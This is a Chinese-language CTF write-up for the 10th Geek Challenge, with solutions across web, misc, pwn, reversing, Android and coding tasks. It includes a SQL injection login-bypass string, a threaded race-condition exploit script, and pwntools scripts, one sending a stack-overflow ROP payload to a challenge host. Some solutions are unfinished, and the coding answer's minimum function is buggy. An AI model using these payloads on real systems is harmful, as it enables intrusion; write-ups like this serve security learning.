第十届极客大挑战

Web

打比赛前先撸一只猫!

1570884161363

直接传参:

http://118.25.14.40:8110/?cat=dog

得到flag: Syc{I_actu4l1y_Lik3_d0gs}

你看见过我的菜刀么

flag:Syc{Such_a_cl3ar_b0y}

BurpSuiiiiiit!!!

flag:Syc{BurpExtender_Are_guns_F0r_Hack3rs}

Easysql

1570885264721

简单sql注入,试试万能密码:
用户名:admin' or '1'='1' or '1'='1' #

密码随意

得到Syc{sqL_inj3cti0n_1s_re4lly_fUn}

性感潇文清,在线算卦

1570886658327

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  <!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Ayrain</title>
<link rel="stylesheet" type="text/css" href="123.css"/>
</head>
<body>
<div id="login">
<h4>性感潇文清在线算卦</h4>
<form method="get">
<input type="text" required="required" placeholder="your name" name="u"></input>
<input type="password" required="required" placeholder="your birthday" name="p"></input>
<button class="but" type="submit">算一卦!</button>
</form>
</div>
</body>
</html>
<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath);
umask($oldmask);
}
if ((@$_GET['u']) && (@$_GET['p'])) {
$content = '***************';
file_put_contents("$savepath" . sha1($_GET['u']), $content);
$msg = 'Ding!你的算卦结果就在这儿啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";
echo $msg;
usleep(100000);
@$content = "you are too slow";
file_put_contents("$savepath" . sha1($_GET['u']), $content);
}

试试条件竞争吧?
--!>

先学一下条件漏洞先:

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-

import requests
import hashlib
import threading

url = "http://148.70.59.198:42534/?u=1&p=1"

u = "http://148.70.59.198:42534/uploads/4380dd7bb88ea8bc28acb3f48a4876b857062618/" + hashlib.sha1(b'1').hexdigest()

def getflag():
while True:
for j in range(50):
requests.get(url)
for j in range(50):
res = requests.get(u)
if "slow" not in res.text:
print(res.text)
threads = 25
if __name__ == "__main__":
for i in range(threads):
t = threading.Thread(target=getflag)
t.start()

for i in range(threads):
t.join()

Misc

签到

Syc{w3lc0me_t0_th3_10th_geek!}

啊啊啊啊啊啊啊!!!我好兴奋!!!

1570881352341

这个我觉得很有问题,别人说直接在winhex中可以看到,但我这看不见

Syc{Do_You_know_Ayrain}

散打黑客的压缩包

我拼着生命危险从散打黑客的电脑里偷来的压缩包,大家快跟我一起破解开。看看藏着什么东西。

下载下来有一个压缩包,被加密了,使用暴力破解,得到密码为:3130

随后解压,得到另外一个压缩包,还是被加密了,同样用工具进行解密,得到密码7665

解压后,得到一个txt文件:

1
2
3
4
5
6
7
8
9
10
11
好吧,其实我已经提前破解掉了。
由于看到了散打黑客的秘密,我感觉我迟早要被灭口。
为了让我发现的秘密能够安全传给下一个人,我决定把这个秘密用数字的方式藏起来。
(这个秘密是关于散打黑客的一件特别想要拥有的东西)
什么?你不想知道散打黑客秘密,你只想要flag?
哎呀,别急嘛。先听我说完,flag会有的。
第一个找到我藏起来的散打黑客想要的东西。
并且截图发给我的geeker,我请ta豁奶茶!
校外的师傅我给你点外卖!
(截了图却找不到我的qq号?那就很可惜了23333)
咳咳,我的话说完了。去最下面拿你的flag吧少年!!!

得到Syc{Weak_passwd_are_DANGER0us}

是谁杀了谁

注意自己的HP,别被气死了。

Pwn

Find tools

Find right tools,so easy!nc pwnto.fun 9999

打开连接,看到:

1
2
3
4
5
6
Hi boys, this game may be  a new things for u.                        
Have fun! I think U will love it! So fun, so easy!
The key is : #此处停顿了一下,可能有输出
pwntools is a good tool to complete the game!
Can U get password?
Input your password:

题目说find tools,里面说pwntools是好工具,现在就可以写脚本捕获输出

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf-8
from pwn import *

context.log_level = "debug"

io = remote("pwnto.fun", 9999)

io.recvuntil("The key is :\n")
str = io.recvuntil("\rpwntools")
#bDF2ZV9sMG5nX2FuZF9wd24=
#l1ve_l0ng_and_pwn
io.recv()

现在就得到一段字符串,发现是base64加密,这个就是password,输入password,getflag

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
from pwn import *
import base64

context.log_level = "debug"

io = remote("pwnto.fun", 9999)
#bDF2ZV9sMG5nX2FuZF9wd24=
#l1ve_l0ng_and_pwn
io.recvuntil("The key is :\n")
str = io.recvuntil("\rpwntools")
str = base64.b64decode(str)
io.recv()

io.send(str)
io.interactive()

得到flag:Syc{pwn_1s_s0_fun}

Baby rop

下载文件分析一下安全设置:

1571116889883

没有打开栈溢出保护,用ida64打开看看源程序:

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

puts(msg);
puts(txt);
read(0, &v4, 0x100uLL);
return puts(msa);
}

存在read函数,所以可以考虑进行栈溢出,查看.data表

1571117464875

由于是静态地址,所以直接使用相应地址,但传参还是使用ROP链进行传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
╰─○ ROPgadget --binary ./hello --only "pop|ret"
Gadgets information
============================================================
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret #可用
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400451 : ret

找到一个rdi可用,脚本如下:

1
2
3
4
5
6
7
8
#coding=utf-8
from pwn import *

sh = remote("nc pwnto.fun",10000)
payload = 'a'*0x88+'a'*0x8+p64(0x06010AE)
sh.send(payload)
sh.interactive()
sh.close()

得到flag:Syc{S0_easy_and_S0_good}

Baby Shellcode

CSGO,它不香吗?P90 rush b, let's go.

checksec一下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了Full RELRO,无法修改got表,NX保护开启,也就是栈中数据不能执行,可以尝试使用rop进行绕过

ida打开,查看main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rsp+0h] [rbp-30h]
void *buf; // [rsp+28h] [rbp-8h]

buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400999(1191936LL, 4096LL);
sub_400956();
puts("A simple shellcode for U, have fun!");
read(0, buf, 0x64uLL);
puts("Why not play CSGO?");
read(0, &v4, 0x64uLL);
return 0LL;
}

mmap可以实现内存共享,那么,我们可以将shellcode写入buf里面,

RE

jiang’s fan 密码都记错?你个假粉丝!!

使用ida打开,找到Syc{I_am_4_fan_of_Ji@ng}

secret

用ida打开,然后发现一行编码:

5379637B6E30775F794F755F6B6E6F775F6234736531367D

像个加密形式,试着解密,开始使用base64进行解码,发现不行,后来使用hex解码得到Syc{n0w_yOu_know_b4se16}

Easy VB

我的IDA怎么不能F5了,这可怎么办啊?

file一下

1
Easy VB.exe: PE32 executable (GUI) Intel 80386, for MS Windows

ida打开,发现只有一个函数,

冰菓

千反田不小心把重要的东西落在了古典文学社,你能帮她找到吗?

点开界面,发现:
1571209342577

说点他有惊喜,点几次发现:
1571209369313

使用这个工具进行逆向,找到关键加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
using System;
using System.Text;

namespace Bingo
{
// Token: 0x02000006 RID: 6
public class EncryptStr
{
// Token: 0x06000013 RID: 19 RVA: 0x00002424 File Offset: 0x00000624
public bool CheckStr(string text)
{
if (text.Length != 20)
{
return false;
}
byte[] bytes = Encoding.ASCII.GetBytes(text);
byte[] array = new byte[]
{
119,
77,
103,
79,
21,
115,
133,
97,
115,
87,
22,
115,
103,
89,
88,
93,
22,
89,
119,
81
};
byte[] array2 = new byte[]
{
57,
13
};
for (int i = 0; i < array.Length; i++)
{
bytes[i] = Convert.ToByte((int)((bytes[i] ^ array2[0]) + array2[1]));
if (bytes[i] != array[i])
{
return false;
}
}
return true;
}
}
}

将此函数进行逆向就可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<iostream>
using namespace std;

int main()
{
int array[20] = {119,77,103,79,21,115,133,97,115,87,22,115,103,89,88,93,22,89,119,81};
int array2[2] = {57,13};

int enc[20];
for(int i = 0 ; i < 20 ; i++)
{
enc[i] = (array[i]-array2[1])^array2[0];
}
for(int i = 0 ; i < 20 ; i++)
{
printf("%c",enc[i]);
}
printf("\n");
return 0;
}

flag:Syc{1_Am_s0_curi0uS}

PYC是啥子嘛?

听说py不需要逆向,那pyc呢,pyc是什么呢?

在线工具逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
print 'This is a maze.'
print 'Python is so easy.'
print 'Plz Input The Shortest Way:'
maze = '###########S #@@@@@@##@ #@ ####@ ##@ #@@@ @#@ ##@ ####@#@ ##@ @@@@@#@ #########@ ##E######@ ##@ @@@@@ @ @ ###########'
way = raw_input()
len = len(way)
p = 11
#$$$$$$
for i in way:
if i == '&':
p -= 10
if i == '$':
p += 10
if i == '6':
p -= 1
if i == '3':
p += 1
if maze[p] == '#':
print 'Your way is wrong'
exit(0)
break
if maze[p] == '@':
continue
if maze[p] == 'E':
print 'You do it,your flag is Syc\\{+Your Input+\\}.'
exit(0)
continue
print 'May be something wrong.'

逆向脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include<cstdio>
#include<cstring>
#include<stack>
#include<queue>
#include<string>
using namespace std;

char maze[101] = "###########S#@@@@@@##@#@####@##@#@@@@#@##@####@#@##@@@@@@#@#########@##E######@##@@@@@@@@###########";
int dir[4] = { -10,10,1,-1 };
int vis[100];
queue<char> fa;

bool check(int x)
{
if (x < 0 || x > 99)
return true;
if (vis[x] == 1 || maze[x] == '#')
return true;
return false;
}
void bfs()
{
queue<int> q;
memset(vis, 0, sizeof(vis));
int tm = 11;
q.push(tm);
vis[tm] = 1;

while (!q.empty())
{
int tm1 = q.front();
q.pop();
int fl;
for (int i = 0; i < 4; i++)
{
fl = tm1 + dir[i];
if (!check(fl))
{
q.push(fl);
vis[fl] = 1;
if (dir[i] == 10)
fa.push('&');
else if (dir[i] == -10)
fa.push('$');
else if (dir[i] == -1)
fa.push('6');
else if (dir[i] == 1)
fa.push('3');
if (maze[tm1] == 'E')
{
return;
}
}
}
}
}
int main()
{
bfs();
printf("key words:");
while (!fa.empty())
{
printf("%c", fa.front());
fa.pop();
}
return 0;
}

得到字符串$$$$33333&&666&&33333$$$$$$$6666666&

所以flag为:Syc{$$$$33333&&666&&33333$$$$$$$6666666&}

Andriod

Sign_in

用jadx-gui进行反编译:
1570889802327

找到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onClick(View view) {
if (view.getId() != R.id.button) {
return;
}
if (Base64.encodeToString(this.ed.getText().toString().getBytes(), 2).equals(getResources().getString(R.string.sign_in)) != null) {
CharSequence charSequence = "Right";
this.tv.setText(charSequence);
Toast.makeText(this, charSequence, 1).show();
return;
}
this.tv.setText("Try again");
Toast.makeText(this, "False", 1).show();
}
}

getString函数通过id查找字符串,在resource文件查找

1571318090417

一段base64码,直接解密:Syc{Si9n_1n_I3_E4sy!}

Coding

Dragon Quest

按照题目要求编写C语言程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Program description:
The brave initially has 100 HP and 0 LV. He will face 3 challenges before facing the BOSS. There are three monsters for each challenge. The number represents the attack power of the monster. The brave must choose one of them to challenge. Each challenge a monster, the brave will deduct the corresponding HP and raise the same number of levels. In order to challenge the BOSS, the LV of the brave must ≥ 60 and keep HP as much as possible.

The following conditions:
1. Brave can face BOSS

printf("The brave still has %dHP left to face the BOSS",HP);

2. The level of the brave will definitely be less than 60

printf("why don't give the brave a chance to level up...");

3. The brave will definitely die on the way to upgrade

printf("The brave died on the way to leveling...");

4. The attack power of the monster is less than or equal to 0.(As long as the monster attack power is less than or equal to 0, only this one is output.)

printf("The monster is too weak...");

Input1:(Each row represents a challenge)
30 90 30

50 80 30

40 90 20

Output1:
The brave still has 20HP left to face the BOSS

tip:num[0][0]=30-->num[1][2]=30-->num[2][2]=20,LV=30+30+20,HP=100-30-30-20

Input2:(Each row represents a challenge)
100 100 100

100 100 100

100 100 100

Output2:
The brave died on the way to leveling...

Please input your code:

直接编程就行,注意一定是C语言,C++都不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include<stdio.h>
#include<stdlib.h>
int num[3][3];

int finmin(int* x)
{
int min=x[0];
if(min > x[1])
{
min = x[1];
}
else if(min > x[2])
{
min = x[2];
}
return min;
}
int main()
{
memset(num,0,sizeof(num));
for(int i = 0 ; i < 3 ; i++)
{
for(int j = 0 ; j < 3 ; j++)
{
scanf("%d",&num[i][j]);
}
}
int level1 = finmin(num[0]);
int level2 = finmin(num[1]);
int level3 = finmin(num[2]);
int hp = 100-level1-level2-level3;
int lv = level1+level2+level3;

if(level1<= 0 || level2 <= 0 || level3 <= 0)
{
printf("The monster is too weak...");
return 0;
}
if(lv < 60)
{
printf("why don't give the brave a chance to level up...");
return 0;
}
if(hp <= 0)
{
printf("The brave died on the way to leveling...");
return 0;
}
else
{
printf("The brave still has %dHP left to face the BOSS",hp);
return 0;
}
}
-------------本文结束感谢您的阅读-------------
0%